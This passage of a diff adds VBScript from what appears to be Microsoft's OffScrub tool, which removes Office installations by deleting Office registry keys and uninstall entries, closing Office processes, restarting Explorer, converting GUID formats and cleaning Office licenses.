+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If RegReadValue (HKCR,sSubKeyName & Item, Name, sValue,"REG_MULTI_SZ") Then
+                                arrMultiSzValues = Split(sValue,chr(34))
+                                If IsArray(arrMultiSzValues) Then
+                                    i = -1
+                                    ReDim arrMultiSzNewValues(-1)
+                                    fDelReg = False
+                                    For Each value in arrMultiSzValues
+                                        If Len(value) > 19 Then
+                                            sGuid = ""
+                                            If GetDecodedGuid(Left(value,SQUISHED),sGuid) Then
+                                                If CheckDelete(sGuid) Then
+                                                    fDelReg = True
+                                                Else
+                                                    i = i + 1
+                                                    ReDim Preserve arrMultiSzNewValues(i)
+                                                    arrMultiSzNewValues(i) = value
+                                                End If 'CheckDelete
+                                            End If 'decode
+                                        End If '19
+                                    Next 'Value
+                                    If NOT (i = -1) Then
+                                        If NOT fDetectOnly Then
+                                            If NOT UBound(arrMultiSzValues) = i Then oReg.SetMultiStringValue HKCR,sSubKeyName & Item,Name,arrMultiSzNewValues
+                                        End If
+                                    Else
+                                        If fDelReg Then
+                                            RegDeleteValue HKCR,sSubKeyName & Item & "\", Name, False
+                                            'Check if the key is now empty
+                                            If NOT RegEnumValues(HKCR,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                                If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                            End If
+                                        End If 'DelReg
+                                    End If
+                                End If 'IsArray
+                            End If
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Delivery
+    Log " - Delivery"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\Delivery\SourceEngine\Downloads\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item) > 37 Then
+                If fRemoveAll Then
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) OR _
+                       LCase(Right(Item,7))=OVERSIONMAJOR&".data" Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                Else
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) AND _
+                       CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                End If
+            End If '37
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Registration
+    Log " - HKLM Registration"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\Registration\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'User Preconfigurations
+    Log " - HKLM User Preconfigurations"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\User Settings\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Known Keypath settings
+    Log " - Detcted KeyPath settings"
+    For Each key in dicDelRegKey.Keys
+        If Right(key,1) = "\" Then
+            RegDeleteKey dicDelRegKey.Item(key),key
+        Else
+            iPos = InStrRev(Key,"\")
+            If iPos > 0 Then RegDeleteValue dicDelRegKey.Item(key), Left(key,iPos - 1), Mid(key,iPos+1), False
+        End If
+    Next
+
+    'Temporary entries in ARP
+    TmpKeyCleanUp
+End Sub 'RegWipe
+'=======================================================================================================
+
+'Clean up Add/Remove Programs registry
+Sub RegWipeARP
+
+    Dim Item, Name, Sku, key
+    Dim sSubKeyName, sCurKey, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys
+
+    'Add/Remove Programs
+    sSubKeyName = REG_ARP
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            '*0FF1CE*
+            If Len(Item)>37 Then
+                sGuid = UCase(Left(Item,38))
+                If CheckDeleteEx(sGuid) Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If 'Len(Item)>37
+
+            'Config entries
+            sCurKey = sSubKeyName & Item & "\"
+            fSystemComponent0 = Not (RegReadValue(HKLM,sCurKey,"SystemComponent",sValue,"REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM,sCurKey,OPACKAGE,sValue,"REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM,sCurKey,"DisplayVersion",sValue,"REG_SZ")
+            If fDisplayVersion AND Len(sValue) > 1 Then
+                fDisplayVersion = (Left(sValue,2) = OVERSIONMAJOR)
+            End If
+            If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+                fKeep = False
+                If Not fRemoveAll Then
+                    For Each Sku in dictionaryKeepSku.Keys
+                        If UCase(Item) = OREGREF & Sku Then
+                            fkeep = True
+                            Exit For
+                        End If
+                    Next 'Sku
+                End If
+                If Not fkeep Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+End Sub 'RegWipeARP
+'=======================================================================================================
+
+'Clean up temporary registry keys
+Sub TmpKeyCleanUp
+    Dim TmpKey
+
+    If fLogInitialized Then Log " - temporary OffScrub registry entries"
+    If IsArray(arrTmpSKUs) Then
+        For Each TmpKey in arrTmpSKUs
+            oReg.DeleteKey HKLM, REG_ARP & TmpKey
+        Next 'Item
+    End If 'IsArray
+End Sub 'TmpKeyCleanUp
+
+'=======================================================================================================
+' Helper Functions
+'=======================================================================================================
+
+'Create a log with the results of the SKU detection
+Sub LogSkuResults
+    Dim SkuLog, SkuKey , p
+
+    On Error Resume Next 'Don't fail on logging
+
+    Set SkuLog = oFso.OpenTextFile(sScrubDir & "\SkuLog.txt",FOR_WRITING,True,True)
+
+    SkuLog.WriteLine "Installed SKUs (All):"
+    SkuLog.WriteLine "====================="
+    For Each SkuKey in dicInstalledSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Server SKUs:"
+    SkuLog.WriteLine          "============"
+    For Each SkuKey in dicSrv.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Suite SKUs:"
+    SkuLog.WriteLine          "=================="
+    For Each SkuKey in dicCSuite.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Standalone SKUs:"
+    SkuLog.WriteLine          "======================="
+    For Each SkuKey in dicCSingle.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Installed Products (All):"
+    SkuLog.WriteLine          "========================="
+    For Each p in oMsi.Products
+        If InScope(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If
+    Next 'Product
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to keep:"
+    SkuLog.WriteLine          "============="
+    For Each SkuKey in dictionaryKeepSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to keep:"
+    SkuLog.WriteLine          "================="
+    For Each p in dictionaryKeepProd.Keys
+        SkuLog.Write " - " & p & " - "
+        SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+        SkuLog.WriteLine " "
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to remove:"
+    SkuLog.WriteLine          "==============="
+    For Each SkuKey in dicRemoveSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to remove:"
+    SkuLog.WriteLine          "==================="
+    For Each p in oMsi.Products
+        If CheckDeleteEx(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If 'InScope
+    Next 'Product
+
+    SkuLog.Close
+    Set SkuLog = Nothing
+
+End Sub 'LogSkuResults
+'=======================================================================================================
+
+'End all running instances of applications that will be removed
+Sub CloseOfficeApps
+    Dim Processes, Process, prop
+    Dim fWait
+    Dim iRet
+
+    On Error Resume Next
+
+    fWait = False
+    Log " Doing Action: CloseOfficeApps"
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process")
+    For Each Process in Processes
+        If dicApps.Exists(LCase(Process.Name)) Then
+            Log " - End process " & Process.Name
+            iRet = Process.Terminate()
+            CheckError "CloseOfficeApps: " & "Process.Name"
+        Else
+            For Each prop in Process.Properties_
+                If prop.Name = "ExecutablePath" Then
+                    If InStr(UCase(prop.Value), UCase(sOInstallRoot)) > 0 Then
+                        Log " - End process '" & Process.Name
+                        iRet = Process.Terminate()
+                        CheckError "CloseOfficeApps: " & "Process.Name"
+                        fWait = True
+                    End If
+                End If 'ExcecutablePath
+            Next 'prop
+        End If
+    Next 'Process
+    If fWait Then
+        wscript.sleep 10000
+    End If
+    LogOnly " End Action: CloseOfficeApps"
+End Sub 'CloseOfficeApps
+'=======================================================================================================
+
+'Ensure Windows Explorer is restarted if needed
+Sub RestoreExplorer
+    Dim Processes, Result, oAT, DateTime, JobID
+    Dim sCmd
+
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    wscript.sleep 1000
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='explorer.exe'")
+    If Processes.Count < 1 Then
+        oWShell.Run "explorer.exe"
+        'To handle this in case of System context, schedule and run as interactive task
+        If iVersionNT > 502 Then
+            'Vista and later
+            oWShell.Run "SCHTASKS /Create /TN OffScrEx /TR explorer /SC ONCE /ST 12:00 /IT",0,True
+            oWShell.Run "SCHTASKS /Run /TN OffScrEx", 0, True
+            oWShell.Run "SCHTASKS /Delete /TN OffScrEx /F", 0, False
+        Else
+            Set oAT = oWmiLocal.Get("Win32_ScheduledJob")
+            Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+            DateTime.SetVarDate DateAdd("n",1,Now),True
+            Result = oAT.Create("explorer.exe", DateTime.Value, , , , True, JobID)
+        End If 'iVersionNT
+    End If
+End Sub 'RestoreExploer
+'=======================================================================================================
+
+'Returns the delimiter for a passed in string
+Function Delimiter (sVersion)
+
+    Dim iCnt, iAsc
+
+    Delimiter = " "
+    For iCnt = 1 To Len(sVersion)
+        iAsc = Asc(Mid(sVersion, iCnt, 1))
+        If Not (iASC >= 48 And iASC <= 57) Then
+            Delimiter = Mid(sVersion, iCnt, 1)
+            Exit Function
+        End If
+    Next 'iCnt
+End Function
+'=======================================================================================================
+
+'Check registry access permissions. Failure will terminate the script
+Function CheckRegPermissions
+    Const KEY_QUERY_VALUE       = &H0001
+    Const KEY_SET_VALUE         = &H0002
+    Const KEY_CREATE_SUB_KEY    = &H0004
+    Const DELETE                = &H00010000
+
+    Dim sSubKeyName
+    Dim fReturn
+
+    CheckRegPermissions = True
+    sSubKeyName = "Software\Microsoft\Windows\"
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_QUERY_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_SET_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_CREATE_SUB_KEY, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, DELETE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+
+End Function 'CheckRegPermissions
+'=======================================================================================================
+
+'Check if a product will be removed
+Function CheckDeleteEx (sProductCode)
+
+    CheckDeleteEx = False
+    If CheckDelete (sProductCode) Then
+        CheckDeleteEx = True
+        Exit Function
+    End If
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        CheckDeleteEx = InScope(sProductCode) AND NOT dictionaryKeepProd.Exists(UCase(sProductCode))
+    End If
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if an Office product is still registered with a SKU that stays on the computer
+Function CheckDelete (sProductCode)
+
+    'Ensure valid GUID length
+    If NOT Len(sProductCode) = 38 Then
+        CheckDelete = False
+        Exit Function
+    End If
+
+    'If it's a non Office ProductCode exit with false right away
+    CheckDelete = InScope(sProductCode)
+    If Not CheckDelete Then Exit Function
+    If dictionaryKeepProd.Exists(UCase(sProductCode)) Then CheckDelete = False
+
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if ProductCode is in scope
+Function InScope(sProductCode)
+
+    Dim fInScope
+    Dim sProd
+
+    fInScope = False
+    If Len(sProductCode) = 38 Then
+        sProd = UCase(sProductCode)
+        Select Case OVERSIONMAJOR
+        Case "11"
+            If Right(sProd,PRODLEN)=OFFICEID Then fInScope = True
+        Case "12"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "14"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "15"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then
+                Select Case Mid(sProd, 11, 4)
+                Case "007E", "008F", "008C", "24E1", "237A"
+                    ' C2R products - keep them
+                Case Else
+                    fInScope = True
+                End Select
+            End If
+        Case Else
+        End Select
+    End If '38
+
+    InScope = fInScope
+End Function 'InScope
+'=======================================================================================================
+
+'Register an orphaned .msi product as installed for MSI
+Sub MsiRegisterProduct (sMsiFile)
+
+    Dim sDisplayVersion, sCurKey, sDisplayName, sLang, sProductCode, sTmpKey
+    Dim iCnt
+
+    'Create a temporary keys to simulate an installed product
+    sProductCode = ""
+    sProductCode = GetMsiProductCode(sMsiFile)
+    sDisplayVersion = GetMsiProductVersion(sMsiFile)
+    If sDisplayVersion = "" Then sDisplayVersion = OVERSION & ".0000.0000"
+    sDisplayName = GetMsiProductName(sMsiFile)
+    If sDisplayName = "" Then sDisplayName = sProductCode
+    Select Case OVERSIONMAJOR
+    Case "9","10","11"
+        sLang = CInt("&h" & Mid(sProductCode,6,4))
+    Case "12","14"
+        sLang = CInt("&h" & Mid(sProductCode,16,4))
+    Case Else
+    End Select
+
+    For iCnt = 1 To 3
+        Select Case iCnt
+        Case 1
+            sCurKey = REG_ARP & sProductCode
+            oReg.CreateKey HKLM,sCurKey
+        Case 2
+            sCurKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\" & GetCompressedGuid(sProductCode)
+            oReg.CreateKey HKLM,sCurKey
+            oReg.CreateKey HKLM,sCurKey & "\Features"
+            oReg.CreateKey HKLM,sCurKey & "\InstallProperties"
+            oReg.CreateKey HKLM,sCurKey & "\Patches"
+            oReg.CreateKey HKLM,sCurKey & "\Usage"
+            sCurKey = sCurKey & "\InstallProperties"
+            oReg.SetStringValue HKLM,sCurKey,"LocalPackage",sMsiFile
+        Case 3
+            sCurKey = "Installer\Products\" & GetCompressedGuid(sProductCode)
+            sTmpKey = sCurKey
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetDWordValue HKCR,sCurKey,"AdvertiseFlags",388
+            oReg.SetDWordValue HKCR,sCurKey,"Assignment",1
+            oReg.SetDWordValue HKCR,sCurKey,"AuthorizedLUAApp",0
+            oReg.SetStringValue HKCR,sCurKey,"Clients",":"
+            oReg.SetDWordValue HKCR,sCurKey,"DeploymentFlags",3
+            oReg.SetDWordValue HKCR,sCurKey,"InstanceType",0
+            oReg.SetDWordValue HKCR,sCurKey,"Language",sLang
+            oReg.SetStringValue HKCR,sCurKey,"PackageCode",GetMsiPackageCode(sMsiFile)
+            oReg.SetStringValue HKCR,sCurKey,"ProductName",sDisplayName
+            oReg.SetDWordValue HKCR,sCurKey,"VersionMinor",0
+            sCurKey = sTmpKey & "\SourceList"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"LastUsedSource",sScrubDir
+            oReg.SetStringValue HKCR,sCurKey,"PackageName",Mid(sMsiFile,InstrRev(sMsiFile,"\")+1)
+            sCurKey = sTmpKey & "\SourceList\Media"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetStringValue HKCR,sCurKey,"1",OREF & ";1"
+            oReg.SetStringValue HKCR,sCurKey,"DiskPrompt",sDisplayName
+            sCurKey = sTmpKey & "\SourceList\Net"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"1",sScrubDir
+
+        Case Else
+        End Select
+        If iCnt <3 Then
+            oReg.SetStringValue HKLM,sCurKey,"Comments",""
+            oReg.SetStringValue HKLM,sCurKey,"Contact",""
+            oReg.SetStringValue HKLM,sCurKey,"DisplayName",sDisplayName
+            oReg.SetStringValue HKLM,sCurKey,"DisplayVersion",sDisplayVersion
+            oReg.SetDWordValue HKLM,sCurKey,"EstimatedSize",0
+            oReg.SetStringValue HKLM,sCurKey,"HelpLink",""
+            oReg.SetStringValue HKLM,sCurKey,"HelpTelephone",""
+            oReg.SetStringValue HKLM,sCurKey,"InstallDate","20100101"
+            If f64 Then
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFilesX86
+            Else
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFiles
+            End If
+            oReg.SetStringValue HKLM,sCurKey,"InstallSource",sScrubDir
+            oReg.SetDWordValue HKLM,sCurKey,"Language",sLang
+            oReg.SetExpandedStringValue HKLM,sCurKey,"ModifyPath","MsiExec.exe /X" & sProductCode
+            oReg.SetDWordValue HKLM,sCurKey,"NoModify",1
+            oReg.SetStringValue HKLM,sCurKey,"Publisher","Microsoft Corporation"
+            oReg.SetStringValue HKLM,sCurKey,"Readme",""
+            oReg.SetStringValue HKLM,sCurKey,"Size",""
+            oReg.SetDWordValue HKLM,sCurKey,"SystemComponent",0
+            oReg.SetExpandedStringValue HKLM,sCurKey,"UninstallString","MsiExec.exe /X" & sProductCode
+            oReg.SetStringValue HKLM,sCurKey,"URLInfoAbout",""
+            oReg.SetStringValue HKLM,sCurKey,"URLUpdateInfo",""
+            oReg.SetDWordValue HKLM,sCurKey,"Version",0
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMajor",OVERSIONMAJOR
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMinor",0
+            oReg.SetDWordValue HKLM,sCurKey,"WindowsInstaller",1
+        End If '< 3
+    Next 'iCnt
+
+End Sub 'MsiRegisterProduct
+'=======================================================================================================
+
+'Obtain the ProductCode (GUID) from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductCode(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductCode = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductCode'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductCode = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductCode
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductVersion(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductVersion = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductVersion'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductVersion = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductName(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductName = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductName'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductName = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the PackageCode (GUID) from a .msi package
+'The function will the .msi'S SummaryInformation stream
+Function GetMsiPackageCode(sMsiFile)
+
+    On Error Resume Next
+
+    Const PID_REVNUMBER = 9
+
+    GetMsiPackageCode = ""
+    GetMsiPackageCode = GetCompressedGuid(oMsi.SummaryInformation(sMsiFile,MSIOPENDATABASEREADONLY).Property(PID_REVNUMBER))
+
+End Function 'GetMsiPackageCode
+'=======================================================================================================
+
+'Returns a string with a list of ProductCodes from the summary information stream
+Function MspTargets (sMspFile)
+    Const MSIOPENDATABASEMODE_PATCHFILE = 32
+    Const PID_TEMPLATE                  =  7
+
+    Dim Msp
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    MspTargets = ""
+    If oFso.FileExists(sMspFile) Then
+        Set Msp = Msi.OpenDatabase(WScript.Arguments(0),MSIOPENDATABASEMODE_PATCHFILE)
+        If Err = 0 Then MspTargets = Msp.SummaryInformation.Property(PID_TEMPLATE)
+    End If 'oFso.FileExists(sMspFile)
+End Function 'MspTargets
+'=======================================================================================================
+
+'Return the ProductCode {{GUID} from a .MSI package
+Function ProductCode(sMsi)
+    Const MSIUILEVELNONE = 2 'No UI
+    Dim MsiSession
+
+    On Error Resume Next
+    'Non critical routine. Don't fail on error
+    If oFso.FileExists(sMsi) Then
+        oMsi.UILevel = MSIUILEVELNONE
+        Set MsiSession = oMsi.OpenPackage(sMsi,1)
+        ProductCode = MsiSession.ProductProperty("ProductCode")
+        Set MsiSession = Nothing
+    Else
+        ProductCode = ""
+    End If 'oFso.FileExists(sMsi)
+End Function 'ProductCode
+'=======================================================================================================
+
+Function GetUpgradeCode(sGuid)
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    GetUpgradeCode = "{{00" & Mid(sGuid, 4, 2) & "0000-" & Mid(sGuid, 11, 4) & "-0000-" & Mid(sGuid, 21, 1) & "000-" & Mid(sGuid, 26, 1) & "000000FF1CE}"
+
+End Function 'GetUpgradeCode
+'=======================================================================================================
+
+Function GetExpandedGuid (sGuid)
+    Dim i
+
+    'Ensure valid length
+    If NOT Len(sGuid) = 32 Then Exit Function
+
+    GetExpandedGuid = "{{" & StrReverse(Mid(sGuid,1,8)) & "-" & _
+                       StrReverse(Mid(sGuid,9,4)) & "-" & _
+                       StrReverse(Mid(sGuid,13,4))& "-"
+    For i = 17 To 20
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "-"
+    For i = 21 To 32
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "}"
+End Function
+'=======================================================================================================
+
+'Converts a GUID into the compressed format
+Function GetCompressedGuid (sGuid)
+    Dim sCompGUID
+    Dim i
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    sCompGUID = StrReverse(Mid(sGuid,2,8))  & _
+                StrReverse(Mid(sGuid,11,4)) & _
+                StrReverse(Mid(sGuid,16,4))
+    For i = 21 To 24
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    End If
+    Next
+    For i = 26 To 37
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    End If
+    Next
+    GetCompressedGuid = sCompGUID
+End Function
+'=======================================================================================================
+
+'Unsquish GUID
+Function GetDecodedGuid(sEncGuid, sGuid)
+
+Dim sDecode, sTable, sHex, iChr
+Dim arrTable
+Dim i, iAsc, pow85, decChar
+Dim lTotal
+Dim fFailed
+
+    fFailed = False
+
+    sTable =    "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0x00,0xff,0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0xff," & _
+                "0x0c,0x0d,0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,0xff,0xff,0xff,0x16,0xff,0x17," & _
+                "0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27," & _
+                "0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0xff,0x34,0x35,0x36," & _
+                "0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,0x40,0x41,0x42,0x43,0x44,0x45,0x46," & _
+                "0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0xff,0x53,0x54,0xff"
+    arrTable = Split(sTable,",")
+    lTotal = 0 : pow85 = 1
+    For i = 0 To 19
+        fFailed = True
+        If i Mod 5 = 0 Then
+            lTotal = 0 : pow85 = 1
+        End If ' i Mod 5 = 0
+        iAsc = Asc(Mid(sEncGuid,i+1,1))
+        sHex = arrTable(iAsc)
+        If iAsc >=128 Then Exit For
+        If sHex = "0xff" Then Exit For
+        iChr = CInt("&h"&Right(sHex,2))
+        lTotal = lTotal + (iChr * pow85)
+        If i Mod 5 = 4 Then sDecode = sDecode & DecToHex(lTotal)
+        pow85 = pow85 * 85
+        fFailed = False
+    Next 'i
+    If NOT fFailed Then sGuid = "{{"&Mid(sDecode,1,8)&"-"& _
+                                Mid(sDecode,13,4)&"-"& _
+                                Mid(sDecode,9,4)&"-"& _
+                                Mid(sDecode,23,2) & Mid(sDecode,21,2)&"-"& _
+                                Mid(sDecode,19,2) & Mid(sDecode,17,2) & Mid(sDecode,31,2) & Mid(sDecode,29,2) & Mid(sDecode,27,2) & Mid(sDecode,25,2) &"}"
+
+    GetDecodedGuid = NOT fFailed
+
+End Function 'GetDecodedGuid
+'=======================================================================================================
+
+'Convert a long decimal to hex
+Function DecToHex(lDec)
+
+    Dim sHex
+    Dim iLen
+    Dim lVal, lExp
+    Dim arrChr
+
+    arrChr = Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F")
+    sHex = ""
+    lVal = lDec
+    lExp = 16^10
+    While lExp >= 1
+        If lVal >= lExp Then
+            sHex = sHex & arrChr(Int(lVal / lExp))
+            lVal = lVal - lExp * Int(lVal / lExp)
+        Else
+            sHex = sHex & "0"
+            If sHex = "0" Then sHex = ""
+        End If
+        lExp = lExp / 16
+    Wend
+
+    iLen = 8 - Len(sHex)
+    If iLen > 0 Then sHex = String(iLen,"0") & sHex
+    DecToHex = sHex
+End Function
+'=======================================================================================================
+
+'Ensures that only valid metadata entries exist to avoid API failures
+Sub EnsureValidWIMetadata (hDefKey,sKey,iValidLength)
+
+Dim arrKeys
+Dim SubKey
+
+If Len(sKey) > 1 Then
+    If Right(sKey,1) = "\" Then sKey = Left(sKey,Len(sKey)-1)
+End If
+
+If RegEnumKey(hDefKey,sKey,arrKeys) Then
+    For Each SubKey in arrKeys
+        If NOT Len(SubKey) = iValidLength Then
+            RegDeleteKey hDefKey,sKey & "\" & SubKey & "\"
+        End If
+    Next 'SubKey
+End If
+
+End Sub 'EnsureValidWIMetadata
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanOSPP
+'
+'   Clean out licenses from the Office Software Protection Platform
+'-------------------------------------------------------------------------------
+Sub CleanOSPP
+    Dim oProductInstances, pi
+    Dim sCleanOSPP, sCmd, sRetVal
+
+    CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"  'Office 2013
+
+    sCleanOSPP = "x64\CleanOSPP.exe"
+    If Not f64 Then sCleanOSPP = "x86\CleanOSPP.exe"
+    If oFso.FileExists(sScriptDir & sCleanOSPP) Then
+        sCmd = sScriptDir & sCleanOSPP
+        Log "   Running: " & sCmd
+        On Error Resume Next
+        sRetVal = oWShell.Run(sCmd, 0, True)
+        Log "   Return value: " & sRetVal
+        On Error Goto 0
+        Exit Sub
+    End If
+
+    On Error Resume Next
+    ' Initialize the software protection platform object with a filter on Office 2013 products
+    If iVersionNT > 601 Then
